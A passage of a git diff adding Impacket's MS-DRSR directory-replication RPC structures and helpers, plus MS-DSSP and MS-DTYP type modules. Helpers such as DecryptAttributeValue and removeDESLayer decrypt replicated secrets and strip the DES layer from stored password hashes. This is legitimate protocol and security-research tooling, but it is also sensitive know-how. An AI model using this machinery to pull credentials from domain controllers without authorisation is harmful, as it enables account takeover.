+class UPTODATE_CURSOR_V2_ARRAY(NDRUniConformantArray):
+    item = UPTODATE_CURSOR_V2
+
+# 5.201 UPTODATE_VECTOR_V2_EXT
+class UPTODATE_VECTOR_V2_EXT(NDRSTRUCT):
+    structure =  (
+        ('dwVersion',DWORD),
+        ('dwReserved1',DWORD),
+        ('cNumCursors',DWORD),
+        ('dwReserved2',DWORD),
+        ('rgCursors',UPTODATE_CURSOR_V2_ARRAY),
+    )
+
+class PUPTODATE_VECTOR_V2_EXT(NDRPOINTER):
+    referent = (
+        ('Data',UPTODATE_VECTOR_V2_EXT),
+    )
+
+# 5.211 VALUE_META_DATA_EXT_V1
+class VALUE_META_DATA_EXT_V1(NDRSTRUCT):
+    structure =  (
+        ('timeCreated',DSTIME),
+        ('MetaData',PROPERTY_META_DATA_EXT),
+    )
+
+# 5.215 VALUE_META_DATA_EXT_V3
+class VALUE_META_DATA_EXT_V3(NDRSTRUCT):
+    structure =  (
+        ('timeCreated',DSTIME),
+        ('MetaData',PROPERTY_META_DATA_EXT),
+        ('unused1',DWORD),
+        ('unused1',DWORD),
+        ('unused1',DWORD),
+        ('timeExpired',DSTIME),
+    )
+
+# 5.167 REPLVALINF_V1
+class REPLVALINF_V1(NDRSTRUCT):
+    structure =  (
+        ('pObject',PDSNAME),
+        ('attrTyp',ATTRTYP),
+        ('Aval',ATTRVAL),
+        ('fIsPresent',BOOL),
+        ('MetaData',VALUE_META_DATA_EXT_V1),
+    )
+
+    def fromString(self, data, soFar = 0):
+        retVal = NDRSTRUCT.fromString(self, data, soFar)
+        #self.dumpRaw()
+        return retVal
+
+class REPLVALINF_V1_ARRAY(NDRUniConformantArray):
+    item = REPLVALINF_V1
+
+class PREPLVALINF_V1_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', REPLVALINF_V1_ARRAY),
+    )
+
+# 5.168 REPLVALINF_V3
+class REPLVALINF_V3(NDRSTRUCT):
+    structure = (
+        ('pObject', PDSNAME),
+        ('attrTyp', ATTRTYP),
+        ('Aval', ATTRVAL),
+        ('fIsPresent', BOOL),
+        ('MetaData', VALUE_META_DATA_EXT_V3),
+    )
+
+    def fromString(self, data, soFar=0):
+        retVal = NDRSTRUCT.fromString(self, data, soFar)
+        # self.dumpRaw()
+        return retVal
+
+class REPLVALINF_V3_ARRAY(NDRUniConformantArray):
+    item = REPLVALINF_V3
+
+class PREPLVALINF_V3_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', REPLVALINF_V3_ARRAY),
+    )
+
+# 5.169 REPLVALINF_NATIVE
+REPLVALINF_NATIVE = REPLVALINF_V3
+
+# 4.1.10.2.11 DRS_MSG_GETCHGREPLY_V6
+class DRS_MSG_GETCHGREPLY_V6(NDRSTRUCT):
+    structure =  (
+        ('uuidDsaObjSrc',UUID),
+        ('uuidInvocIdSrc',UUID),
+        ('pNC',PDSNAME),
+        ('usnvecFrom',USN_VECTOR),
+        ('usnvecTo',USN_VECTOR),
+        ('pUpToDateVecSrc',PUPTODATE_VECTOR_V2_EXT),
+        ('PrefixTableSrc',SCHEMA_PREFIX_TABLE),
+        ('ulExtendedRet',EXOP_ERR),
+        ('cNumObjects',ULONG),
+        ('cNumBytes',ULONG),
+        ('pObjects',PREPLENTINFLIST),
+        ('fMoreData',BOOL),
+        ('cNumNcSizeObjectsc',ULONG),
+        ('cNumNcSizeValues',ULONG),
+        ('cNumValues',DWORD),
+        #('rgValues',PREPLVALINF_V1_ARRAY),
+        # ToDo: Once we find out what's going on with PREPLVALINF_ARRAY get it back
+        # Seems there's something in there that is not being parsed correctly
+        ('rgValues',DWORD),
+        ('dwDRSError',DWORD),
+    )
+
+# 4.1.10.2.14 DRS_COMP_ALG_TYPE
+class DRS_COMP_ALG_TYPE(NDRENUM):
+    class enumItems(Enum):
+        DRS_COMP_ALG_NONE   = 0
+        DRS_COMP_ALG_UNUSED = 1
+        DRS_COMP_ALG_MSZIP  = 2
+        DRS_COMP_ALG_WIN2K3 = 3
+
+# 4.1.10.2.12 DRS_MSG_GETCHGREPLY_V7
+class DRS_MSG_GETCHGREPLY_V7(NDRSTRUCT):
+    structure =  (
+        ('dwCompressedVersion',DWORD),
+        ('CompressionAlg',DRS_COMP_ALG_TYPE),
+        ('CompressedAny',DRS_COMPRESSED_BLOB),
+    )
+
+# 4.1.10.2.13 DRS_MSG_GETCHGREPLY_V9
+class DRS_MSG_GETCHGREPLY_V9(NDRSTRUCT):
+    structure =  (
+        ('uuidDsaObjSrc',UUID),
+        ('uuidInvocIdSrc',UUID),
+        ('pNC',PDSNAME),
+        ('usnvecFrom',USN_VECTOR),
+        ('usnvecTo',USN_VECTOR),
+        ('pUpToDateVecSrc',PUPTODATE_VECTOR_V2_EXT),
+        ('PrefixTableSrc',SCHEMA_PREFIX_TABLE),
+        ('ulExtendedRet',EXOP_ERR),
+        ('cNumObjects',ULONG),
+        ('cNumBytes',ULONG),
+        ('pObjects',PREPLENTINFLIST),
+        ('fMoreData',BOOL),
+        ('cNumNcSizeObjectsc',ULONG),
+        ('cNumNcSizeValues',ULONG),
+        ('cNumValues',DWORD),
+        #('rgValues',PREPLVALINF_V3_ARRAY),
+        # ToDo: Once we find out what's going on with PREPLVALINF_ARRAY get it back
+        # Seems there's something in there that is not being parsed correctly
+        ('rgValues',DWORD),
+        ('dwDRSError',DWORD),
+    )
+
+# 4.1.10.2.14 DRS_MSG_GETCHGREPLY_NATIVE
+DRS_MSG_GETCHGREPLY_NATIVE = DRS_MSG_GETCHGREPLY_V9
+
+# 4.1.10.2.8 DRS_MSG_GETCHGREPLY
+class DRS_MSG_GETCHGREPLY(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1  : ('V1', DRS_MSG_GETCHGREPLY_V1),
+        2  : ('V2', DRS_MSG_GETCHGREPLY_V2),
+        6  : ('V6', DRS_MSG_GETCHGREPLY_V6),
+        7  : ('V7', DRS_MSG_GETCHGREPLY_V7),
+        9  : ('V9', DRS_MSG_GETCHGREPLY_V9),
+    }
+
+# 4.1.27.1.2 DRS_MSG_VERIFYREQ_V1
+class DRS_MSG_VERIFYREQ_V1(NDRSTRUCT):
+    structure =  (
+        ('dwFlags',DWORD),
+        ('cNames',DWORD),
+        ('rpNames',PPDSNAME_ARRAY),
+        ('RequiredAttrs',ATTRBLOCK),
+        ('PrefixTable',SCHEMA_PREFIX_TABLE),
+    )
+
+# 4.1.27.1.1 DRS_MSG_VERIFYREQ
+class DRS_MSG_VERIFYREQ(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1  : ('V1', DRS_MSG_VERIFYREQ_V1),
+    }
+
+# 4.1.27.1.4 DRS_MSG_VERIFYREPLY_V1
+class DRS_MSG_VERIFYREPLY_V1(NDRSTRUCT):
+    structure =  (
+        ('error',DWORD),
+        ('cNames',DWORD),
+        ('rpEntInf',PENTINF_ARRAY),
+        ('PrefixTable',SCHEMA_PREFIX_TABLE),
+    )
+
+# 4.1.27.1.3 DRS_MSG_VERIFYREPLY
+class DRS_MSG_VERIFYREPLY(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1  : ('V1', DRS_MSG_VERIFYREPLY_V1),
+    }
+
+# 4.1.11.1.2 DRS_MSG_NT4_CHGLOG_REQ_V1
+class DRS_MSG_NT4_CHGLOG_REQ_V1(NDRSTRUCT):
+    structure =  (
+        ('dwFlags',DWORD),
+        ('PreferredMaximumLength',DWORD),
+        ('cbRestart',DWORD),
+        ('pRestart',PBYTE_ARRAY),
+    )
+
+# 4.1.11.1.1 DRS_MSG_NT4_CHGLOG_REQ
+class DRS_MSG_NT4_CHGLOG_REQ(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1  : ('V1', DRS_MSG_NT4_CHGLOG_REQ_V1),
+    }
+
+# 4.1.11.1.5 NT4_REPLICATION_STATE
+class NT4_REPLICATION_STATE(NDRSTRUCT):
+    structure =  (
+        ('SamSerialNumber',LARGE_INTEGER),
+        ('SamCreationTime',LARGE_INTEGER),
+        ('BuiltinSerialNumber',LARGE_INTEGER),
+        ('BuiltinCreationTime',LARGE_INTEGER),
+        ('LsaSerialNumber',LARGE_INTEGER),
+        ('LsaCreationTime',LARGE_INTEGER),
+    )
+
+# 4.1.11.1.4 DRS_MSG_NT4_CHGLOG_REPLY_V1
+class DRS_MSG_NT4_CHGLOG_REPLY_V1(NDRSTRUCT):
+    structure =  (
+        ('cbRestart',DWORD),
+        ('cbLog',DWORD),
+        ('ReplicationState',NT4_REPLICATION_STATE),
+        ('ActualNtStatus',DWORD),
+        ('pRestart',PBYTE_ARRAY),
+        ('pLog',PBYTE_ARRAY),
+    )
+
+# 4.1.11.1.3 DRS_MSG_NT4_CHGLOG_REPLY
+class DRS_MSG_NT4_CHGLOG_REPLY(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1  : ('V1', DRS_MSG_NT4_CHGLOG_REPLY_V1),
+    }
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 4.1.3 IDL_DRSBind (Opnum 0)
+class DRSBind(NDRCALL):
+    opnum = 0
+    structure = (
+        ('puuidClientDsa', PUUID),
+        ('pextClient', PDRS_EXTENSIONS),
+    )
+
+class DRSBindResponse(NDRCALL):
+    structure = (
+        ('ppextServer', PDRS_EXTENSIONS),
+        ('phDrs', DRS_HANDLE),
+        ('ErrorCode',DWORD),
+    )
+
+# 4.1.25 IDL_DRSUnbind (Opnum 1)
+class DRSUnbind(NDRCALL):
+    opnum = 1
+    structure = (
+        ('phDrs', DRS_HANDLE),
+    )
+
+class DRSUnbindResponse(NDRCALL):
+    structure = (
+        ('phDrs', DRS_HANDLE),
+        ('ErrorCode',DWORD),
+    )
+
+# 4.1.10 IDL_DRSGetNCChanges (Opnum 3)
+class DRSGetNCChanges(NDRCALL):
+    opnum = 3
+    structure = (
+        ('hDrs', DRS_HANDLE),
+        ('dwInVersion', DWORD),
+        ('pmsgIn', DRS_MSG_GETCHGREQ),
+    )
+
+class DRSGetNCChangesResponse(NDRCALL):
+    structure = (
+        ('pdwOutVersion', DWORD),
+        ('pmsgOut', DRS_MSG_GETCHGREPLY),
+        ('ErrorCode',DWORD),
+    )
+
+# 4.1.27 IDL_DRSVerifyNames (Opnum 8)
+class DRSVerifyNames(NDRCALL):
+    opnum = 8
+    structure = (
+        ('hDrs', DRS_HANDLE),
+        ('dwInVersion', DWORD),
+        ('pmsgIn', DRS_MSG_VERIFYREQ),
+    )
+
+class DRSVerifyNamesResponse(NDRCALL):
+    structure = (
+        ('pdwOutVersion', DWORD),
+        ('pmsgOut', DRS_MSG_VERIFYREPLY),
+        ('ErrorCode',DWORD),
+    )
+# 4.1.11 IDL_DRSGetNT4ChangeLog (Opnum 11)
+class DRSGetNT4ChangeLog(NDRCALL):
+    opnum = 11
+    structure = (
+        ('hDrs', DRS_HANDLE),
+        ('dwInVersion', DWORD),
+        ('pmsgIn', DRS_MSG_NT4_CHGLOG_REQ),
+    )
+
+class DRSGetNT4ChangeLogResponse(NDRCALL):
+    structure = (
+        ('pdwOutVersion', DWORD),
+        ('pmsgOut', DRS_MSG_NT4_CHGLOG_REPLY),
+        ('ErrorCode',DWORD),
+    )
+
+# 4.1.4 IDL_DRSCrackNames (Opnum 12)
+class DRSCrackNames(NDRCALL):
+    opnum = 12
+    structure = (
+        ('hDrs', DRS_HANDLE),
+        ('dwInVersion', DWORD),
+        ('pmsgIn', DRS_MSG_CRACKREQ),
+    )
+
+class DRSCrackNamesResponse(NDRCALL):
+    structure = (
+        ('pdwOutVersion', DWORD),
+        ('pmsgOut', DRS_MSG_CRACKREPLY),
+        ('ErrorCode',DWORD),
+    )
+
+# 4.1.5 IDL_DRSDomainControllerInfo (Opnum 16)
+class DRSDomainControllerInfo(NDRCALL):
+    opnum = 16
+    structure = (
+        ('hDrs', DRS_HANDLE),
+        ('dwInVersion', DWORD),
+        ('pmsgIn', DRS_MSG_DCINFOREQ),
+    )
+
+class DRSDomainControllerInfoResponse(NDRCALL):
+    structure = (
+        ('pdwOutVersion', DWORD),
+        ('pmsgOut', DRS_MSG_DCINFOREPLY),
+        ('ErrorCode',DWORD),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (DRSBind,DRSBindResponse ),
+ 1 : (DRSUnbind,DRSUnbindResponse ),
+ 3 : (DRSGetNCChanges,DRSGetNCChangesResponse ),
+ 12: (DRSCrackNames,DRSCrackNamesResponse ),
+ 16: (DRSDomainControllerInfo,DRSDomainControllerInfoResponse ),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def hDRSUnbind(dce, hDrs):
+    request = DRSUnbind()
+    request['phDrs'] = hDrs
+    return dce.request(request)
+
+def hDRSDomainControllerInfo(dce, hDrs, domain, infoLevel):
+    request = DRSDomainControllerInfo()
+    request['hDrs'] = hDrs
+    request['dwInVersion'] = 1
+
+    request['pmsgIn']['tag'] = 1
+    request['pmsgIn']['V1']['Domain'] = checkNullString(domain)
+    request['pmsgIn']['V1']['InfoLevel'] = infoLevel
+    return dce.request(request)
+
+def hDRSCrackNames(dce, hDrs, flags, formatOffered, formatDesired, rpNames = ()):
+    request = DRSCrackNames()
+    request['hDrs'] = hDrs
+    request['dwInVersion'] = 1
+
+    request['pmsgIn']['tag'] = 1
+    request['pmsgIn']['V1']['CodePage'] = 0
+    request['pmsgIn']['V1']['LocaleId'] = 0
+    request['pmsgIn']['V1']['dwFlags'] = flags
+    request['pmsgIn']['V1']['formatOffered'] = formatOffered
+    request['pmsgIn']['V1']['formatDesired'] = formatDesired
+    request['pmsgIn']['V1']['cNames'] = len(rpNames)
+    for name in rpNames:
+        record = LPWSTR()
+        record['Data'] = checkNullString(name)
+        request['pmsgIn']['V1']['rpNames'].append(record)
+
+    return dce.request(request)
+
+def deriveKey(baseKey):
+        # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
+        # Let I be the little-endian, unsigned integer.
+        # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
+        # Note that because I is in little-endian byte order, I[0] is the least significant byte.
+        # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
+        # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
+        key = pack('<L',baseKey)
+        key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
+        key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
+        if PY2:
+            return transformKey(b''.join(key1)),transformKey(b''.join(key2))
+        else:
+            return transformKey(bytes(key1)),transformKey(bytes(key2))
+
+def removeDESLayer(cryptedHash, rid):
+        Key1,Key2 = deriveKey(rid)
+
+        Crypt1 = DES.new(Key1, DES.MODE_ECB)
+        Crypt2 = DES.new(Key2, DES.MODE_ECB)
+
+        decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
+
+        return decryptedHash
+
+def DecryptAttributeValue(dce, attribute):
+    sessionKey = dce.get_session_key()
+    # Is it a Kerberos Session Key?
+    if isinstance(sessionKey, crypto.Key):
+        # Extract its contents and move on
+        sessionKey = sessionKey.contents
+
+    encryptedPayload = ENCRYPTED_PAYLOAD(attribute)
+
+    md5 = hashlib.new('md5')
+    md5.update(sessionKey)
+    md5.update(encryptedPayload['Salt'])
+    finalMD5 = md5.digest()
+
+    cipher = ARC4.new(finalMD5)
+    plainText = cipher.decrypt(attribute[16:])
+
+    #chkSum = (binascii.crc32(plainText[4:])) & 0xffffffff
+    #if unpack('<L',plainText[:4])[0] != chkSum:
+    #    print "RECEIVED 0x%x" % unpack('<L',plainText[:4])[0]
+    #    print "CALCULATED 0x%x" % chkSum
+
+    return plainText[4:]
+
+# 5.16.4 ATTRTYP-to-OID Conversion
+def MakeAttid(prefixTable, oid):
+    # get the last value in the original OID: the value * after the last '.'
+    lastValue = int(oid.split('.')[-1])
+
+    # convert the dotted form of OID into a BER encoded binary * format.
+    # The BER encoding of OID is described in section * 8.19 of [ITUX690]
+    from pyasn1.type import univ
+    from pyasn1.codec.ber import encoder
+    binaryOID = encoder.encode(univ.ObjectIdentifier(oid))[2:]
+
+    # get the prefix of the OID
+    if lastValue < 128:
+        oidPrefix = list(binaryOID[:-1])
+    else:
+        oidPrefix = list(binaryOID[:-2])
+
+    # search the prefix in the prefix table, if none found, add
+    # one entry for the new prefix.
+    fToAdd = True
+    pos = len(prefixTable)
+    for j, item in enumerate(prefixTable):
+        if item['prefix']['elements'] == oidPrefix:
+            fToAdd = False
+            pos = j
+            break
+
+    if fToAdd is True:
+        entry = PrefixTableEntry()
+        entry['ndx'] = pos
+        entry['prefix']['length'] = len(oidPrefix)
+        entry['prefix']['elements'] = oidPrefix
+        prefixTable.append(entry)
+
+    # compose the attid
+    lowerWord = lastValue % 16384
+    if lastValue >= 16384:
+        # mark it so that it is known to not be the whole lastValue
+        lowerWord += 32768
+
+    upperWord = pos
+
+    attrTyp = ATTRTYP()
+    attrTyp['Data'] = (upperWord << 16) + lowerWord
+    return attrTyp
+
+def OidFromAttid(prefixTable, attr):
+    # separate the ATTRTYP into two parts
+    upperWord = attr // 65536
+    lowerWord = attr % 65536
+
+    # search in the prefix table to find the upperWord, if found,
+    # construct the binary OID by appending lowerWord to the end of
+    # found prefix.
+
+    binaryOID = None
+    for j, item in enumerate(prefixTable):
+        if item['ndx'] == upperWord:
+            binaryOID = item['prefix']['elements'][:item['prefix']['length']]
+            if lowerWord < 128:
+                binaryOID.append(pack('B',lowerWord))
+            else:
+                if lowerWord >= 32768:
+                    lowerWord -= 32768
+                binaryOID.append(pack('B',(((lowerWord//128) % 128)+128)))
+                binaryOID.append(pack('B',(lowerWord%128)))
+            break
+
+    if binaryOID is None:
+        return None
+    return str(decoder.decode(b'\x06' + pack('B',(len(binaryOID))) + b''.join(binaryOID), asn1Spec = univ.ObjectIdentifier())[0])
+
+if __name__ == '__main__':
+    prefixTable = []
+    oid0 = '1.2.840.113556.1.4.94'
+    oid1 = '2.5.6.2'
+    oid2 = '1.2.840.113556.1.2.1'
+    oid3 = '1.2.840.113556.1.3.223'
+    oid4 = '1.2.840.113556.1.5.7000.53'
+
+    o0 = MakeAttid(prefixTable, oid0)
+    print(hex(o0))
+    o1 = MakeAttid(prefixTable, oid1)
+    print(hex(o1))
+    o2 = MakeAttid(prefixTable, oid2)
+    print(hex(o2))
+    o3 = MakeAttid(prefixTable, oid3)
+    print(hex(o3))
+    o4 = MakeAttid(prefixTable, oid4)
+    print(hex(o4))
+    jj = OidFromAttid(prefixTable, o0)
+    print(jj)
+    jj = OidFromAttid(prefixTable, o1)
+    print(jj)
+    jj = OidFromAttid(prefixTable, o2)
+    print(jj)
+    jj = OidFromAttid(prefixTable, o3)
+    print(jj)
+    jj = OidFromAttid(prefixTable, o4)
+    print(jj)
diff --git a/impacket/dcerpc/v5/dssp.py b/impacket/dcerpc/v5/dssp.py
new file mode 100644
index 0000000..8a646af
--- /dev/null
+++ b/impacket/dcerpc/v5/dssp.py
@@ -0,0 +1,183 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-DSSP] Interface implementation
+#   https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dssp
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Simon Decosse (@simondotsh)
+#
+
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRENUM
+from impacket.dcerpc.v5.dtypes import UINT, LPWSTR, GUID
+from impacket import system_errors
+from impacket.dcerpc.v5.enum import Enum
+from impacket.uuid import uuidtup_to_bin
+
+MSRPC_UUID_DSSP = uuidtup_to_bin(('3919286A-B10C-11D0-9BA8-00C04FD92EF5', '0.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 
+            return 'DSSP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'DSSP SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.1 DSROLER_PRIMARY_DOMAIN_INFO_BASIC
+DSROLE_PRIMARY_DS_RUNNING          = 0x00000001
+DSROLE_PRIMARY_DS_MIXED_MODE       = 0x00000002
+DSROLE_PRIMARY_DS_READONLY         = 0x00000008
+DSROLE_PRIMARY_DOMAIN_GUID_PRESENT = 0x01000000
+
+#2.2.5 DSROLE_UPGRADE_STATUS_INFO
+DSROLE_UPGRADE_IN_PROGRESS = 0x00000004
+
+################################################################################
+# STRUCTURES
+################################################################################
+#2.2.2 DSROLE_MACHINE_ROLE
+class DSROLE_MACHINE_ROLE(NDRENUM):
+    class enumItems(Enum):
+        DsRole_RoleStandaloneWorkstation   = 0
+        DsRole_RoleMemberWorkstation       = 1
+        DsRole_RoleStandaloneServer        = 2
+        DsRole_RoleMemberServer            = 3
+        DsRole_RoleBackupDomainController  = 4
+        DsRole_RolePrimaryDomainController = 5
+        
+# 2.2.1 DSROLER_PRIMARY_DOMAIN_INFO_BASIC
+class DSROLER_PRIMARY_DOMAIN_INFO_BASIC(NDRSTRUCT):
+    structure = (
+        ('MachineRole', DSROLE_MACHINE_ROLE),
+        ('Flags', UINT),
+        ('DomainNameFlat', LPWSTR),
+        ('DomainNameDns', LPWSTR),
+        ('DomainForestName', LPWSTR),
+        ('DomainGuid', GUID),
+    )
+
+class PDSROLER_PRIMARY_DOMAIN_INFO_BASIC(NDRPOINTER):
+    referent = (
+        ('Data', DSROLER_PRIMARY_DOMAIN_INFO_BASIC),
+    )
+
+# 2.2.4 DSROLE_OPERATION_STATE
+class DSROLE_OPERATION_STATE(NDRENUM):
+    class enumItems(Enum):
+        DsRoleOperationIdle       = 0
+        DsRoleOperationActive     = 1
+        DsRoleOperationNeedReboot = 2
+
+# 2.2.3 DSROLE_OPERATION_STATE_INFO
+class DSROLE_OPERATION_STATE_INFO(NDRSTRUCT):
+    structure = (
+        ('OperationState', DSROLE_OPERATION_STATE),
+    )
+
+class PDSROLE_OPERATION_STATE_INFO(NDRPOINTER):
+    referent = (
+        ('Data', DSROLE_OPERATION_STATE_INFO),
+    )
+
+# 2.2.6 DSROLE_SERVER_STATE
+class DSROLE_SERVER_STATE(NDRENUM):
+    class enumItems(Enum):
+        DsRoleServerUnknown = 0
+        DsRoleServerPrimary = 1
+        DsRoleServerBackup  = 2
+
+class PDSROLE_SERVER_STATE(NDRPOINTER):
+    referent = (
+        ('Data', DSROLE_SERVER_STATE),
+    )
+
+# 2.2.5 DSROLE_UPGRADE_STATUS_INFO
+class DSROLE_UPGRADE_STATUS_INFO(NDRSTRUCT):
+    structure = (
+        ('OperationState', UINT),
+        ('PreviousServerState', DSROLE_SERVER_STATE),
+    )
+
+class PDSROLE_UPGRADE_STATUS_INFO(NDRPOINTER):
+    referent = (
+        ('Data', DSROLE_UPGRADE_STATUS_INFO),
+    )
+
+# 2.2.7 DSROLE_PRIMARY_DOMAIN_INFO_LEVEL
+class DSROLE_PRIMARY_DOMAIN_INFO_LEVEL(NDRENUM):
+    class enumItems(Enum):
+        DsRolePrimaryDomainInfoBasic = 1
+        DsRoleUpgradeStatus          = 2
+        DsRoleOperationState         = 3
+
+# 2.2.8 DSROLER_PRIMARY_DOMAIN_INFORMATION
+class DSROLER_PRIMARY_DOMAIN_INFORMATION(NDRUNION):
+    commonHdr = (
+        ('tag', DSROLE_PRIMARY_DOMAIN_INFO_LEVEL),
+    )
+    
+    union = {
+        DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRolePrimaryDomainInfoBasic : ('DomainInfoBasic', DSROLER_PRIMARY_DOMAIN_INFO_BASIC),
+        DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRoleUpgradeStatus          : ('UpgradStatusInfo', DSROLE_UPGRADE_STATUS_INFO),
+        DSROLE_PRIMARY_DOMAIN_INFO_LEVEL.DsRoleOperationState         : ('OperationStateInfo', DSROLE_OPERATION_STATE_INFO),
+    }
+
+class PDSROLER_PRIMARY_DOMAIN_INFORMATION(NDRPOINTER):
+    referent = (
+        ('Data', DSROLER_PRIMARY_DOMAIN_INFORMATION),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.2.5.1 DsRolerGetPrimaryDomainInformation (Opnum 0)
+class DsRolerGetPrimaryDomainInformation(NDRCALL):
+    opnum = 0
+    structure = (
+       ('InfoLevel', DSROLE_PRIMARY_DOMAIN_INFO_LEVEL),
+    )
+
+class DsRolerGetPrimaryDomainInformationResponse(NDRCALL):
+    structure = (
+       ('DomainInfo', PDSROLER_PRIMARY_DOMAIN_INFORMATION),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (DsRolerGetPrimaryDomainInformation, DsRolerGetPrimaryDomainInformationResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def hDsRolerGetPrimaryDomainInformation(dce, infoLevel):
+    request = DsRolerGetPrimaryDomainInformation()
+    request['InfoLevel'] = infoLevel
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/dtypes.py b/impacket/dcerpc/v5/dtypes.py
new file mode 100644
index 0000000..8c30838
--- /dev/null
+++ b/impacket/dcerpc/v5/dtypes.py
@@ -0,0 +1,546 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-DTYP] Interface mini implementation
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+from struct import pack
+from six import binary_type
+
+from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \
+    NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \
+    NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL
+
+DWORD = NDRULONG
+BOOL = NDRULONG
+UCHAR = NDRUSMALL
+SHORT = NDRSHORT
+NULL = NULL
+
+class LPDWORD(NDRPOINTER):
+    referent = (
+        ('Data', DWORD),
+    )
+
+class PSHORT(NDRPOINTER):
+    referent = (
+        ('Data', SHORT),
+    )
+
+class PBOOL(NDRPOINTER):
+    referent = (
+        ('Data', BOOL),
+    )
+
+class LPBYTE(NDRPOINTER):
+    referent = (
+        ('Data', NDRUniConformantArray),
+    )
+PBYTE = LPBYTE
+
+# 2.2.4 BOOLEAN
+BOOLEAN = NDRBOOLEAN
+
+# 2.2.6 BYTE
+BYTE = NDRUSMALL
+
+# 2.2.7 CHAR
+CHAR = NDRSMALL
+class PCHAR(NDRPOINTER):
+    referent = (
+        ('Data', CHAR),
+    )
+
+class WIDESTR(NDRUniFixedArray):
+    def getDataLen(self, data, offset=0):
+        return data.find(b'\x00\x00\x00', offset)+3-offset
+
+    def __setitem__(self, key, value):
+        if key == 'Data':
+            try:
+                self.fields[key] = value.encode('utf-16le')
+            except UnicodeDecodeError:
+                import sys
+                self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
+
+            self.data = None        # force recompute
+        else:
+            return NDR.__setitem__(self, key, value)
+
+    def __getitem__(self, key):
+        if key == 'Data':
+            return self.fields[key].decode('utf-16le')
+        else:
+            return NDR.__getitem__(self,key)
+
+class STR(NDRSTRUCT):
+    commonHdr = (
+        ('MaximumCount', '<L=len(Data)'),
+        ('Offset','<L=0'),
+        ('ActualCount','<L=len(Data)'),
+    )
+    commonHdr64 = (
+        ('MaximumCount', '<Q=len(Data)'),
+        ('Offset','<Q=0'),
+        ('ActualCount','<Q=len(Data)'),
+    )
+    structure = (
+        ('Data',':'),
+    )
+
+    def dump(self, msg = None, indent = 0):
+        if msg is None:
+            msg = self.__class__.__name__
+        if msg != '':
+            print("%s" % msg, end=' ')
+        # Here just print the data
+        print(" %r" % (self['Data']), end=' ')
+
+    def __setitem__(self, key, value):
+        if key == 'Data':
+            try:
+                if not isinstance(value, binary_type):
+                    self.fields[key] = value.encode('utf-8')
+                else:
+                    # if it is a binary type (str in Python 2, bytes in Python 3), then we assume it is a raw buffer
+                    self.fields[key] = value
+            except UnicodeDecodeError:
+                import sys
+                self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-8')
+            self.fields['MaximumCount'] = None
+            self.fields['ActualCount'] = None
+            self.data = None        # force recompute
+        else:
+            return NDR.__setitem__(self, key, value)
+
